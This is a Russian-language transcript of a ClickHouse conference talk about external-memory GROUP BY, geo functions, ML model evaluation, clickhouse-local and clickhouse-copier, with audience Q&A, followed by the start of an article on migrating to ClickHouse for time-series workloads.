В документации почти все время был такой пункт, что промежуточные данные, формирующиеся при выполнении GROUP BY, должны помещаться в оперативку на каждом шарде, участвующем на выполнении запроса, а также на сервер-инициаторе запроса. И это больше неверно, вовсе не обязано.

Рассмотрим простой запрос. Считаем разные поисковые фразы. И для каждой поисковой фразы количество просмотров страниц и количество разных посетителей. Попробуем это посчитать.

![](http://personeltest.ru/aways/habrastorage.org/webt/qx/7y/9d/qx7y9d3l2z5x8z9_qzw1l6fo8wc.png)

Вот он считает. Красивый progress-bar, мне он очень нравится. И ClickHouse-клиент это тоже замечательная штука, я его очень люблю. К сожалению, он ничего не посчитал, потому что не хватило оперативной памяти. Он пишет, что для обработки этого запроса не хватило 9,31 гигабайта оперативной памяти, но это 10 млрд байт.

И первый вопрос, который стоит задать: Почему именно 10 млрд байт?. Это по умолчанию такое ограничение. Вы можете его увеличить спокойно.

![](http://personeltest.ru/aways/habrastorage.org/webt/er/wh/jh/erwhjhzminuj37msfdohirzui3c.png)

Давайте рассмотрим, почему не хватило оперативки. Посчитаем, сколько у нас данных было, сколько разных поисковых фраз. Где-то 0,5 млрд. Мы можем посмотреть на эти данные и подумать, что действительно много оперативной памяти надо, так и должно все работать.

Если у вас есть какой-то сервер, то там наверняка больше 10 гигабайтов оперативки. И, допустим, вы с этим сервером сейчас работаете один. Например, вы сидите ночью в выходные и вам очень надо посчитать какую-то аналитику.

![](http://personeltest.ru/aways/habrastorage.org/webt/zz/s5/g4/zzs5g4mae2l4x3j551dhl-ojps0.jpeg)

Почему бы просто не сказать: Давайте я увеличу max_memory_usage для себя?

![](http://personeltest.ru/aways/habrastorage.org/webt/o3/jr/8d/o3jr8dyl5ietrcgffprxg9igu90.png)

Я использую всю память на этом сервере, на всех остальных пользователей можно не обращать внимание. Вроде все нормально. Но это не тот способ, который можно использовать на production все время.

![](http://personeltest.ru/aways/habrastorage.org/webt/ry/hg/3m/ryhg3mu8-zcmgopf_jjkzj2st5g.jpeg)

Правильный способ это включить GROUP BY во внешней памяти. Что это значит? Это значит, что накапливаются какие-то данные в оперативке. Когда их становится много, мы их сбрасываем на диск. Потом снова накапливаются, снова сбрасываем на диск. Снова накапливаются, сбрасываем. А потом возьмем это все и будем мержить. Причем мержить будем с использованием маленького количества оперативки. Т. е. будем какие-то маленькие кусочки брать из каждого куска. И будем вот так мержить, и отдавать результат клиенту.

Есть две настройки, которые для этого предназначены:

Первая это максимальный объем оперативки, когда данные сбрасываются на диск.
Вторая это использовать эффективный по памяти merge, т. е. этот merge по кусочкам, при распределенной обработке запроса.

Обычно распределенная обработка запроса устроена так. Мы с каждого сервера весь временный dataset скачиваем по сети на сервер-инициатор запроса. Все объединяем и для этого нужна оперативка. А тут он будет скачивать эти datasets по каким-то кусочкам, по buckets. И будет объединять их в потоковом режиме.

![](http://personeltest.ru/aways/habrastorage.org/webt/-a/xi/ly/-axily37jlv6ubrcxag7rrbpkka.png)

Давайте проверим. Выставляем max_memory_usage в 10 гигабайт. Сбрасывать будем 8 гигабайт (max_bytes_before_external_group_by = 8 000 000 000, distributed_aggregation_memory_efficient = 1). И у нас progress-bar завис на какой-то момент. А потом дальше продолжил идти. Что это значит? Это значит, что именно в этот момент времени данные сбрасывались на диск. И как ни странно, запрос обработался даже не сильно дольше, чем запрос без этих настроек.

Тут есть некоторые забавные фокусы. Например, когда данные сбрасываются на диск, они на самом деле сбрасываются в файловую систему. А когда данные записываются в файловую систему, они вовсе не обязательно, что записываются на диск. Т. е. тут тоже используется оперативка, но не всегда.

И еще данные при этом жмутся, т. е. данные сбрасываются в сжатом виде. И вполне возможно, что у вас 10 гигабайтов оперативки использовалось для GROUP BY, а потом вы сжали, и получился всего 1 гигабайт.

На практике это приводит к тому, что запрос работает не более, чем в несколько раз медленнее, а в этом случае даже в полтора раза.

![](http://personeltest.ru/aways/habrastorage.org/webt/tw/g5/-i/twg5-ibhhvfpf777nrg8jlzzapq.jpeg)

Давайте перейдем к следующей возможности. Это работа с географическими координатами.

Честно сказать, что ClickHouse это не какая-то geospatial-система, но наши пользователи очень хотят складывать туда всякие координаты.

У нас в компании есть сервис Метрика мобильных приложений. Она собирает логи. И, естественно, там есть координаты.

А что мы хотим делать с этими координатами? Конечно, мы хотим показывать рекламу. Например, вы прошли мимо какого-то магазина, но ничего не купили. А мы покажем вам объявление, что зря ничего не купили, вернитесь назад.

Что для этого нужно? Просто отфильтровать пользователей, у которых координаты в некотором полигоне.

Вот пример функции pointInPolygon. Первый аргумент это кортеж: lat, lon, а дальше идет массив координат полигона. Этот массив должен быть константным*. Вы какую-то область этим полигоном зачеркиваете.

\* по состоянию на 2020 год, поддерживаются и неконстантные полигоны тоже.

И там есть еще следующий аргумент, с помощью которого можно из этого полигона еще дырки вырезать. Даже, по-моему, много аргументов. В общем, такая продвинутая функция. И работает эффективно. Рекомендую.

Есть еще парочка функций, вместо которых я рекомендую использовать pointInPolygon, но они есть. Это pointInElliplses, которая позволяет задать несколько ellipses на координатах. Как не странно, ни на земле, ни на сфере, а просто на плоскости. И будьте осторожны, если у вас пользователи на Чукотке. Там есть этот разрыв координат. И просто вернет 0 или 1, если пользователь попал в эти ellipses.

И другая функция это greatCircleDistance. Это расстояние на сфере*. Две точки. И считаем, сколько на сфере будет.

\* по состоянию на 2020 год, присутствует также функция geoDistance, которая считает расстояние на WGS-84 эллипсоиде.

![](http://personeltest.ru/aways/habrastorage.org/webt/ya/ku/zd/yakuzdw7njj4gjycronkahy7byu.jpeg)

events.yandex.ru/lib/talks/5330

Еще одна экспериментальная интересная вещь это интеграция ClickHouse с моделями машинного обучения. Это не значит машинное обучение внутри ClickHouse. Это значит, что это машиннообученные модели, которые вы обучили где-то заранее. И теперь вы можете их загрузить в ClickHouse. Они будут доступны для выполнения.

Объявляются эти модели машинного обучения в некотором конфигурационном файле. Конфигурационные файлы можно обновлять налету без перезагрузки сервера. Объявляете имя, некоторые данные. И теперь они доступны в виде одной функции в виде modelEvaluate.

Первым аргументом вы передаете имя, а остальным передаете факторы, фичи для модели.

Например, вам нужно предсказать CTR или предсказать вероятность покупки. Про эту тему я подробно рассказывать не буду. Если интересует, то вот замечательная ссылка: events.yandex.ru/lib/talks/5330. Там есть доклад про эту возможность и как ей пользоваться.

Сейчас у нас единственный метод машинного обучения доступен. Это CatBoost. Почему именно CatBoost? Потому что он лучше.

![](http://personeltest.ru/aways/habrastorage.org/webt/0l/fk/rs/0lfkrscyjmfqhiyn2vjuehytm5c.jpeg)

Что мы могли бы сделать, чтобы улучшить эту возможность?

Часто нужно применять какие-то простые модели, но применять их много. Например, для каждого сайта какую-нибудь маленькую модель, и чтобы она быстро выполнялась. Для этого можно добавлять самые простые методы регрессии типа логистической регрессии*. И это должно соответствовать нашим принципам, что работать это должно быстро и тормозить не должно. Если какой-то сложный градиентный бустинг, то это работать будет быстро, но может быть будет тормозить. Нам этого не надо.
Представьте, как было бы удобно, если можно было бы обучить модель в ClickHouse с агрегатной функции. Я показывал пример о промежуточном состоянии функции. А представьте, что у вас будет агрегатная функция создать модель логистической регрессии. Вы передаете туда данные, получаете состояние, записываете в таблицу. И теперь можете взять и из этой таблицы поджоиниться, и применить это состояние в виде обычной модели. Это не то, что доступно в ClickHouse. Это мои фантазии. Но было бы круто.
И, конечно, важно онлайн-обучение, т. е. чтобы модель сама адаптировалась к постоянно поступающим данным.

\* эти методы уже добавлены в ClickHouse.

![](http://personeltest.ru/aways/habrastorage.org/webt/xk/bf/uu/xkbfuu4wy4l5nkwkm_d2g1b5msy.jpeg)

Следующая возможность тоже интересная. Это обработка данных с помощью ClickHouse без ClickHouse-сервера.

Есть у вас какая-то машина. Вы не хотите на нее ставить ClickHouse. Но у вас на ней есть какие-то логи. И вы админ.

Что вы обычно делаете? У вас обычно есть куча средств от grep, sed, awk или даже perl. И, например, вы где-то увидели, как круто в ClickHouse обрабатывать данные, можно написать запрос и не надо грепить и седить. Было бы очень заманчиво обрабатывать эти файлы с помощью ClickHouse без какой-либо загрузки, без преобразования. И такая возможность есть. Это утилита [clickhouse-local](http://personeltest.ru/aways/clickhouse.tech/docs/ru/operations/utilities/clickhouse-local/).

Вы указываете некоторые параметры. Самое важное это передать структуру, т. е. имена и типы столбцов. Это важно, потому что ClickHouse все-таки типизируемая система.

Указываете формат, в котором ваши данные лежат. Например, очень удобно, если у вас логи в JSON, то вы указываете формат JSONEachRow. Указываете запрос и прямо в stdin передаете ваши данные. И, пожалуйста, ваши данные обработаны. Конечно, это будет не так быстро, как если вы сначала все-таки загрузите данные в ClickHouse. Потому что эти данные надо будет распарсить и все, что нужно, с ними сделать. Но работать будет быстрее, чем awk, perl, sed. В некоторых случаях даже будет быстрее, чем grep, т. е. зависит от параметров.

Но если вам данные нужно обработать не один раз, а хотя бы два запроса выполнить, то, пожалуйста, не нужно мелочиться поставьте себе ClickHouse-сервер. Много ресурсов не отнимет. И будет удобно работать.

![](http://personeltest.ru/aways/habrastorage.org/webt/tw/k1/io/twk1ioozjoqqvch1kfhcadkhs98.jpeg)

И если у вас установлен ClickHouse-сервер, то вы можете его выключить и затем с помощью программы ClickHouse-local вы можете подключить данные, которые в нем находятся в локальной файловой системе. И обработать запросы прямо над ними, не поднимая ClickHouse-сервер для обслуживания клиентов.

![](http://personeltest.ru/aways/habrastorage.org/webt/-g/ps/ts/-gpstsxuqecwzfe9oasvvs9hzaw.jpeg)

Что сейчас эту возможность ограничивает? Что надо сделать, чтобы стало удобнее?

Мы сейчас весьма строги к форматам Date и DateTime. Date у нас, например, в формате `ISO 8601`, а в DateTime не поддерживается, чтобы можно было указать плюс-минус смещение или суффикс, или дробные секунды. И, естественно, было бы очень удобно, чтобы такая возможность была*.

И сейчас она у нас появилась, но в виде отдельной функции. Называется parseDateTimeBestEffort. И она без всяких аргументов парсит дату с временем в любом формате, кроме американского. Потому что в американском формате сначала месяц, а потом число. И можно не отличить. И если не в американском, то, пожалуйста, можно эту функцию использовать.

\* а уже всё есть, смотрите настройку `date_time_input_format`.

Еще очень удобно было бы, если мы добавили бы такие форматы, которые более свойственны для Hadoop инфраструктуры. Чтобы вы могли запустить ClickHouse-local в качестве MapReduce jobs прямо в Hadoop.

Было бы очень хорошо, если бы мы добавили Parquet. И сейчас эта возможность появилась в виде pull request. Наверное, скоро помержим*.

\* ура, помержили теперь возможность есть!

Еще интересный вариант, если бы добавили такой формат данных, который я про себя называю trash SQL. Представьте, что вы могли бы данные разделить каким-нибудь regexpом на столбцы, а потом подать на вход clickhouse-local. Конечно, это можно сначала сделать с помощью Awk, но иногда было бы удобно, чтобы такая возможность была прямо внутри ClickHouse*.

\* и это тоже добавили смотрите формат `Regexp`.

![](http://personeltest.ru/aways/habrastorage.org/webt/pp/7x/sz/pp7xsz7eosu7kpt4b4wtp5-6hmu.jpeg)

Последний интересный пункт, о котором я хотел бы рассказать, это недавно появившаяся возможность межкластерного копирования.

В чем суть? Конфигурация кластера в ClickHouse довольно жесткая. Т. е. вы должны указать, сколько у вас шардов, сколько реплик на каждом шарде. И все прекрасно будет работать, пока вам не надо будет это перешардировать.

А как это перешардировать? Можно поднять еще один кластер рядом. Создать там такую же таблицу, а потом сделать INSERT SELECT из дистрибьютора таблицы в другой дистрибьютор таблицы. И оно поначалу будет работать. Если вам повезет, будет работать.

Но проблема в том, что это работает в один поток. Будет передавать данные через один сервер по сети. И если у вас данных достаточно, вы запустите, но оно поработает, например, недельку, а потом сетевая ошибка и вам придется смотреть, какие данные скопировались, какие данные не скопировались. Или разделять это как-то вручную по партициям. Это неудобно.

И поэтому у нас есть специальный инструмент, который называется ClickHouse-copier. Это такая программа, которую вы можете в любом количестве экземпляров запускать на любых серверах. Она автоматически будет выбирать себе задачи и координироваться через Zookeeper. А задачи это партиции одной таблицы на одном шарде того кластера, который вам нужно будет создать путем копирования.

Можно настроить ограничения по сетевой полосе. Можно настроить ограничения по количеству одновременных задач. И работать это будет отказоустойчиво. Серверы с этими программами могут падать, восстанавливаться.

Если какая-то партиция частично скопирована на другой сервер, то попытка скопировать будет повторяться. Какие-то частично скопированные данные удаляются и копируются заново.

![](http://personeltest.ru/aways/habrastorage.org/webt/qs/rp/fh/qsrpfhg3xsjuyt-s3-cywsl3o_u.jpeg)

И самое главное эта возможность проверена в production.

Мы недавно завершили операцию межкластерного копирования в Яндекс.Метрике. У нас был один кластер на 538 серверов. И мы взяли другой кластер на 240 серверов. Меньше, потому что серверы более современные и туда больше помещается. Мы изменили в наших таблицах все.

Поменяли схему шардирования. Было шардирование по сайтам, сделали шардирование по пользователям. Изменили алгоритм сжатия. На старом кластере было lz4, на новом кластере zstd и запустили это все. И оно начало копировать. И у нас были проблемы, потом еще были проблемы и еще были проблемы. Мы дорабатывали ClickHouse-copier. Потому что это серьезная задача и с первого раза, конечно, ничего не работает. И где-то через месяц все скопировалось.

Когда мы копировали уже таблицу просто с просмотрами, то у нас был где-то один петабайт скопирован за неделю. И теперь можно запускать, и прямо забыть, оно свою задачу выполнит. Так что, если этим воспользовались мы, то, наверное, вы тоже сможете этим воспользоваться.

Все, спасибо!

![](http://personeltest.ru/aways/habrastorage.org/webt/iy/7j/no/iy7jnoq_3bmfytpnco6y4p-w3pm.jpeg)

Вопросы

*Спасибо за доклад! Вопрос по поводу копира. Интересная возможность. Он в real time поддерживает дописывание данных, которые прилетели на старый кластер?*

Нет. Копирует партиции, которые не изменяются.

*Т. е., соответственно, когда вы копировали, вы уже читали с дистрибьютора между старым и новым кластером? Или читали только с нового кластера? Как это происходило?*

Мы сделали так. Сначала в нашей программе, которая данные записывает, мы сделали так, чтобы она записывала на оба кластера. У нас на новом кластере создалась какая-то партиция за неделю или месяц. Кстати, схему партиционирования мы тоже поменяли. И она создалась неполной. Следующие партиции уже были с полными данными. Мы запустили копирование вплоть до этой последней неполной партиции. И этот копировальщик эти данные неполной партиции заменил на те данные, которые были на старом кластере. Т. е. теперь у нас есть бесшовные данные и мы может отключить запись на старый кластер. Но мы это делать не будем, потому что мы создали новый кластер для других задач. Мы на нем будем обрабатывать тяжелые аналитические запросы.

*Т. е. как раз тестировать ClickHouse?*

Нет, не для тестирования ClickHouse. У нас для разных сценариев нагрузки он. Т. е. если идут тяжелые запросы от внутренних аналитиков, они будут идти на новый кластер. И это очень удобно, потому что там данные не по счетчикам разбиты, а по пользователям. И эти запросы смогут использовать ресурсы всего кластера, если, скажем, обрабатывают запросы для рунета за день.

*Здравствуйте! Раз вы уже смотрите на Avro, на Parquet, на замену MapReduce и machine learning, то есть какие-то наработки для того, чтобы запускать ClickHouse как какие-то jobs под управлением YARN, под управлением Mesos? Т. е. чтобы запускались так же, как Spark, шедулилось на кластер, запускалось рядом с данными, где лежат уже на конкретных нодах с хорошей date locality и вот это все было рядышком, все быстро обрабатывалось?*

Да, такие планы есть, но с ними есть одна очень серьезная проблема, которая именно для вас очень серьезная. Дело в том, что в Яндексе не используется Hadoop и есть своя реализация MapReduce под называнием YT. И люди сделали так, чтобы ClickHouse запускался внутри YT, сам обрабатывал данные в его формате, передавал их друг с другом для распределенных запросов. Сделает ли это кто-нибудь для распространенных систем, это еще вопрос.

*Понятно. Т. е. внутри Яндекса такие наработки по поводу применения на YT и запуск под конкретный ресурс-менеджер на кластере уже есть? Т. е. то, что уже не конкретно на каждой ноде установлен ClickHouse, а это уже как tool для обработки CSV уже распространяется в виде job?*

У нас внутри компании эта задача находится в стадии эксперимента на последней стадии разработки*. И там сейчас сделано так, что какая-то часть кластера выделается. И на этой части кластера запускаются не ClickHouse-сервер, а какой-то другой бинарник, который содержит и ClickHouse, и часть YT. И оно все это читает и обрабатывает.

\* уже в продакшене.

*Спасибо за доклад! ClickHouse-local существует только в виде бинарника или есть еще какие-то модули для каких-нибудь языков или его куда-нибудь встраивать можно, например?*

Встраивать нельзя, только как standalone-приложение. Единственный бонус он встроен прямо в ClickHouse. Т. е. есть общий бинарник ClickHouse, там и сервер, и клиент, и local, и все, что угодно.

*Спасибо! И второй вопрос есть. groupUniqArrayArray он не order делает, он их в рандомном порядке берет?*

Да, в недетерминированном порядке, в зависимости оттого, в каком порядке данные обрабатываются на разных шардах и разных потоках.

*Привет! Спасибо за доклад! У меня была практическая проблема с ClickHouse. Она немножко надуманная. Данные до этого лежали в Vertica. Люди там пытались писать запрос, но это все ужасно тормозило. Что я сделал? Я их выгрузил в CSV. Из CSV загрузил в ClickHouse. В ClickHouse заджойнил уже в другую таблицу, в которой все было в денормализованном виде. Но уже по ней запросы шли быстро. Проблемы была только в том, что если ты хочешь это все заджойнить, то тебе нужно очень много памяти, чтобы весь запрос в память влез. Я ничего лучшего не придумал, кроме, как еще памяти докинуть на этот момент. Но можно ли это как-то было решить другим путем?*

Есть ли возможность в ClickHouse выполнить JOIN так, чтобы необязательно правая таблица или результат правого подзапроса помещался в оперативку? Пока нет*. Пока в ClickHouse реализован hash JOIN, т. е. правый результат, правая часть должна помещаться в эту hash-таблицу в оперативке. Но у нас есть план это изменить. Эти планы довольно серьезные. Правда, их серьезность в том числе связана еще и с тем, что это будет не так-то просто сделать. Для этого придется серьезно менять конвейер выполнения запросов, чтобы реализовать merge JOIN, чтобы он работал нормально, и в том числе в распределенном случае.

\* уже да, смотрите настройку `join_algorithm`. И конвейер, кстати, тоже переписали.

*Спасибо! Если или, когда появятся апдейты, то будет ли еще master-master репликация, если да, то, как? Если нет, то что надо делать, чтобы она работала?*

По этому вопросу можно сказать ура, потому что сейчас апдейты находятся в pull request. Мы их планируем домержить в мастер на этой неделе. Я сейчас здесь стою, а другие люди в офисе мержат. Master-master репликация продолжит работать. Во-первых, все операции в ClickHouse линеаризуются с помощью ZooKeeper. Там есть полный порядок этих операций. Если вы будете выполнять апдейты конкурентно на разных репликах, то, соответственно, в каком-то порядке они дойдут и в каком-то порядке выполнятся.

*Здравствуйте! Спасибо за доклад! Поможет ли ClickHouse-copier решить задачу, когда необходимо вывести из шарда реплику и на новую реплику этого шарда скопировать данные, например, для проведения работ?*

Для этой задачи ClickHouse-copier не нужен, потому что это очень простая задача и типичная operation-вещь. Вы просто создаете новую реплику. У вас, допустим, было две реплики, вы создаете новую. И теперь три реплики. Старую теперь можно удалять. Или одна реплика была, вы создаете новую. И она наливает сама данные. Самое главное, если у вас сервис с репликой с концами исчез куда-то, т. е. его больше нет, то надо удалить метаданные этой исчезнувшей реплики из ZooKeeper. Там есть особенность накапливаются логи репликации и поэтому будут проблемы*.

\* уже исправлено, теперь не накапливаются.
Подробнее..

Переезжаем на ClickHouse 3 года спустя

29.09.2020 18:09:04 | Автор: admin
Три года назад Виктор Тарнавский и Алексей Миловидов из Яндекса на сцене HighLoad++ рассказывали, какой ClickHouse хороший, и как он не тормозит. А на соседней сцене был Александр Зайцев с докладом о переезде на ClickHouse с другой аналитической СУБД и с выводом, что ClickHouse, конечно, хороший, но не очень удобный. Когда в 2016 году компания LifeStreet, в которой тогда работал Александр, переводила мультипетабайтовую аналитическую систему на ClickHouse, это была увлекательная дорога из желтого кирпича, полная неведомых опасностей ClickHouse тогда напоминал минное поле.

Три года спустя ClickHouse стал гораздо лучше за это время Александр основал компанию Altinity, которая не только помогает переезжать на ClickHouse десяткам проектов, но и совершенствует сам продукт вместе с коллегами из Яндекса. Сейчас ClickHouse все еще не беззаботная прогулка, но уже и не минное поле.

Александр занимается распределенными системами с 2003 года, разрабатывал крупные проекты на MySQL, Oracle и Vertica. На прошедшей HighLoad++ 2019 Александр, один из пионеров использования ClickHouse, рассказал, что сейчас из себя представляет эта СУБД. Мы узнаем про основные особенности ClickHouse: чем он отличается от других систем и в каких случаях его эффективнее использовать. На примерах рассмотрим свежие и проверенные проектами практики по построению систем на ClickHouse.



Ретроспектива: что было 3 года назад


Три года назад мы переводили компанию LifeStreet на ClickHouse с другой аналитической базы данных, и миграция аналитики рекламной сети выглядела так:

  • Июнь 2016. В OpenSource появился ClickHouse и стартовал наш проект;
  • Август. Proof Of Concept: большая рекламная сеть, инфраструктура и 200-300 терабайт данных;
  • Октябрь. Первые продакшн-данные;
  • Декабрь. Полная продуктовая нагрузка 10-50 миллиардов событий в день.
  • Июнь 2017. Успешный переезд пользователей на ClickHouse, 2,5 петабайт данных на кластере из 60-ти серверов.

В процессе миграции росло понимание, что ClickHouse это хорошая система, с которой приятно работать, но это внутренний проект компании Яндекс. Поэтому есть нюансы: Яндекс сначала будет заниматься собственными внутренними заказчиками и только потом сообществом и нуждами внешних пользователей, а ClickHouse не дотягивал тогда до уровня энтерпрайза по многим функциональным областям. Поэтому в марте 2017 года мы основали компанию Altinity, чтобы сделать ClickHouse ещё быстрее и удобнее не только для Яндекса, но и для других пользователей. И теперь мы:

  • Обучаем и помогаем строить решения на ClickHouse так, чтобы заказчики не набивали шишки, и чтобы решение в итоге работало;
  • Обеспечиваем 24/7 поддержку ClickHouse-инсталляций;
  • Разрабатываем собственные экосистемные проекты;
  • Активно коммитим в сам ClickHouse, отвечая на запросы пользователей, которые хотят видеть те или иные фичи.

И конечно, мы помогаем с переездом на ClickHouse с MySQL, Vertica, Oracle, Greenplum, Redshift и других систем. Мы участвовали в самых разных переездах, и они все были успешными.



Зачем вообще переезжать на ClickHouse


Не тормозит! Это главная причина. ClickHouse очень быстрая база данных для разных сценариев:


Случайные цитаты людей, которые долго работают с ClickHouse.

Масштабируемость. На какой-то другой БД можно добиться неплохой производительности на одной железке, но ClickHouse можно масштабировать не только вертикально, но и горизонтально, просто добавляя сервера. Все работает не так гладко, как хотелось бы, но работает. Можно наращивать систему вместе с ростом бизнеса. Это важно, что мы не ограничены решением сейчас и всегда есть потенциал для развития.

Портируемость. Нет привязки к чему-то одному. Например, с Amazon Redshift тяжело куда-то переехать. А ClickHouse можно поставить себе на ноутбук, сервер, задеплоить в облако, уйти в Kubernetes нет ограничений на эксплуатацию инфраструктуры. Это удобно для всех, и это большое преимущество, которым не могут похвастаться многие другие похожие БД.

Гибкость. ClickHouse не останавливается на чем-то одном, например, на Яндекс.Метрике, а развивается и используется во всё большем и большем количестве разных проектов и индустрий. Его можно расширять, добавляя новые возможности для решения новых задач. Например, считается, что хранить логи в БД моветон, поэтому для этого придумали Elasticsearch. Но, благодаря гибкости ClickHouse, в нём тоже можно хранить логи, и часто это даже лучше, чем в Elasticsearch в ClickHouse для этого требуется в 10 раз меньше железа.

Бесплатный Open Source. Не нужно ни за что платить. Не нужно договариваться о разрешении поставить систему себе на ноутбук или сервер. Нет скрытых платежей. При этом никакая другая Open Source технология баз данных не может конкурировать по скорости с ClickHouse. MySQL, MariaDB, Greenplum все они гораздо медленнее.

Сообщество, драйв и fun. У ClickHouse отличное сообщество: митапы, чаты и Алексей Миловидов, который нас всех заряжает своей энергией и оптимизмом.

Переезд на ClickHouse


Чтобы переходить на ClickHouse с чего-то, нужны всего лишь три вещи:

  • Понимать ограничения ClickHouse и для чего он не подходит.
  • Использовать преимущества технологии и ее самые сильные стороны.
  • Экспериментировать. Даже понимая как работает ClickHouse, не всегда возможно предугадать, когда он будет быстрее, когда медленней, когда лучше, а когда хуже. Поэтому пробуйте.

Проблема переезда


Есть только одно но: если переезжаете на ClickHouse с чего-то другого, то обычно что-то идет не так. Мы привыкли к каким-то практикам и вещам, которые работают в любимой БД. Например, любой человек, работающий с SQL-базами данных, считает обязательными такой набор функций:

  • транзакции;
  • констрейнты;
  • consistency;
  • индексы;
  • UPDATE/DELETE;
  • NULLs;
  • миллисекунды;
  • автоматические приведения типов;
  • множественные джойны;
  • произвольные партиции;
  • средства управления кластером.

Набор-то обязательный, но три года назад в ClickHouse не было ни одной из этих функций! Сейчас из нереализованного осталось меньше половины: транзакции, констрейнты, Consistency, миллисекунды и приведение типов.

И главное то, что в ClickHouse некоторые стандартные практики и подходы не работают или работают не так, как мы привыкли. Всё, что появляется в ClickHouse, соответствует ClickHouse way, т.е. функции отличаются от других БД. Например:

  • Индексы не выбирают, а пропускают.
  • UPDATE/DELETE не синхронные, а асинхронные.
  • Множественные джойны есть, но планировщика запросов нет. Как они тогда выполняются, вообще не очень понятно людям из мира БД.

Сценарии ClickHouse


В 1960 году американский математик венгерского происхождения Wigner E. P. написал статью The unreasonable effectiveness of mathematics in the natural sciences (Непостижимая эффективность математики в естественных науках) о том, что окружающий мир почему-то хорошо описывается математическими законами. Математика абстрактная наука, а физические законы, выраженные в математической форме не тривиальны, и Wigner E. P. подчеркнул, что это очень странно.

С моей точки зрения, ClickHouse такая же странность. Переформулируя Вигнера, можно сказать так: поразительна непостижимая эффективность ClickHouse в самых разнообразных аналитических приложениях!



Например, возьмем Real-Time Data Warehouse, в который данные грузятся практически непрерывно. Мы хотим получать от него запросы с секундной задержкой. Пожалуйста используем ClickHouse, потому что для этого сценария он и был разработан. ClickHouse именно так и используется не только в веб, но и в маркетинговой и финансовой аналитике, AdTech, а также в Fraud detection. В Real-time Data Warehouse используется сложная структурированная схема типа звезда или снежинка, много таблиц с JOIN (иногда множественными), а данные обычно хранятся и меняются в каких-то системах.

Возьмем другой сценарий Time Series: мониторинг устройств, сетей, статистика использования, интернет вещей. Здесь мы встречаемся с упорядоченными по времени достаточно простыми событиями. ClickHouse для этого не был изначально разработан, но хорошо себя показал, поэтому крупные компании используют ClickHouse как хранилище для мониторинговой информации. Чтобы изучить, подходит ли ClickHouse для time-series, мы сделали бенчмарк на основе подхода и результатах InfluxDB и TimescaleDB специализированных time-series баз данных. Оказалось, что ClickHouse, даже без оптимизации под такие задачи, выигрывает и на чужом поле:



В time-series обычно используется узкая таблица несколько маленьких колонок. С мониторинга может приходить очень много данных, миллионы записей в секунду, и обычно они поступают маленькими вставками (real-time стримингом). Поэтому нужен другой сценарий вставки, а сами запросы со своей некоторой спецификой.

Log Management. Сбор логов в БД это обычно плохо, но в ClickHouse это можно делать с некоторыми комментариями, как описано выше. Многие компании используют ClickHouse именно для этого. В этом случае используется плоская широкая таблица, где мы храним логи целиком (например, в виде JSON), либо нарезаем на части. Данные загружаются обычно большими батчами (файлами), а ищем по какому-нибудь полю.

Для каждой из этих функций обычно используются специализированные БД. ClickHouse один может делать это всё и настолько хорошо, что обгоняет их по производительности. Давайте теперь подробно рассмотрим time-series сценарий, и как правильно готовить ClickHouse под этот сценарий.

Time-Series


В настоящий момент это основной сценарий, для которого ClickHouse считается стандартным решением. Time-series это набор упорядоченных во времени событий, представляющих изменения какого-то процесса во времени. Например, это может быть частота сердцебиений за день или количество процессов в системе. Всё, что дает временные тики с какими-то измерениями это time-series:



Больше всего такого рода событий приходит из мониторинга. Это может быть не только мониторинг веба, но и реальных устройств: автомобилей, промышленных систем, IoT, производств или беспилотных такси, в багажник которых Яндекс уже сейчас кладет ClickHouse-сервер.

Например, есть компании, которые собирают данные с судов. Каждые несколько секунд датчики с контейнеровоза отправляют сотни различных измерений. Инженеры их изучают, строят модели и пытаются понять, насколько эффективно используется судно, потому что контейнеровоз не должен простаивать ни секунды. Любой простой это потеря денег, поэтому важно спрогнозировать маршрут так, чтобы стоянки были минимальными.

Сейчас наблюдается рост специализированных БД, которые измеряют time-series. На сайте DB-Engines каким-то образом ранжируются разные базы данных, и их можно посмотреть по типам:



Самый быстрорастущий тип time-series. Также растут графовые БД, но time-series растут быстрее последние несколько лет. Типичные представители БД этого семейства это InfluxDB, Prometheus, KDB, TimescaleDB (построенная на PostgreSQL), решения от Amazon. ClickHouse здесь тоже может быть использован, и он используется. Приведу несколько публичных примеров.

Один из пионеров компания CloudFlare (CDN-провайдер). Они мониторят свой CDN через ClickHouse (DNS-запросы, HTTP-запросы) с громадной нагрузкой 6 миллионов событий в секунду. Все идет через Kafka, отправляется в ClickHouse, который предоставляет возможность в реальном времени видеть дашборды событий в системе.

Comcast один из лидеров телекоммуникаций в США: интернет, цифровое телевидение, телефония. Они создали аналогичную систему управления CDN в рамках Open Source проекта Apache Traffic Control для работы со своими огромными данными. ClickHouse используется как бэкенд для аналитики.

Percona встроили ClickHouse внутрь своего PMM, чтобы хранить мониторинг различных MySQL.

Специфические требования


К time-series базам данных есть свои специфические требования.

  • Быстрая вставка со многих агентов. Мы должны очень быстро вставить данные со многих потоков. ClickHouse хорошо это делает, потому что у него все вставки не блокирующие. Любой insert это новый файл на диске, а маленькие вставки можно буферизовать тем или иным способом. В ClickHouse лучше вставлять данные большими пакетами, а не по одной строчке.
  • Гибкая схема. В time-series мы обычно не знаем структуру данных до конца. Можно построить систему мониторинга для конкретного приложения, но тогда ее трудно использовать для другого приложения. Для этого нужна более гибкая схема. ClickHouse, позволяет это сделать, даже несмотря на то, что это строго типизированная база.
  • Эффективное хранение и забывание данных. Обычно в time-series гигантский объем данных, поэтому их надо хранить максимально эффективно. Например, у InfluxDB хорошая компрессия это его основная фишка. Но кроме хранения, нужно еще уметь и забывать старые данные и делать какой-нибудь downsampling автоматический подсчет агрегатов.
  • Быстрые запросы агрегированных данных. Иногда интересно посмотреть последние 5 минут с точностью до миллисекунд, но на месячных данных минутная или секундная гранулярность может быть не нужна достаточно общей статистики. Поддержка такого рода необходима, иначе запрос за 3 месяца будет выполняться очень долго даже в ClickHouse.
  • Запросы типа last point, as of. Это типичные для time-series запросы: смотрим последнее измерение или состояние системы в момент времени t. Для БД это не очень приятные запросы, но их тоже надо уметь выполнять.
  • Склеивание временных рядов. Time-series это временной ряд. Если есть два временных ряда, то их часто нужно соединять и коррелировать. Не на всех БД это удобно делать, особенно, с невыравненными временными рядами: здесь одни временные засечки, там другие. Можно считать средние, но вдруг там все равно будет дырка, поэтому непонятно.

Давайте посмотрим, как эти требования выполняются в ClickHouse.

Схема


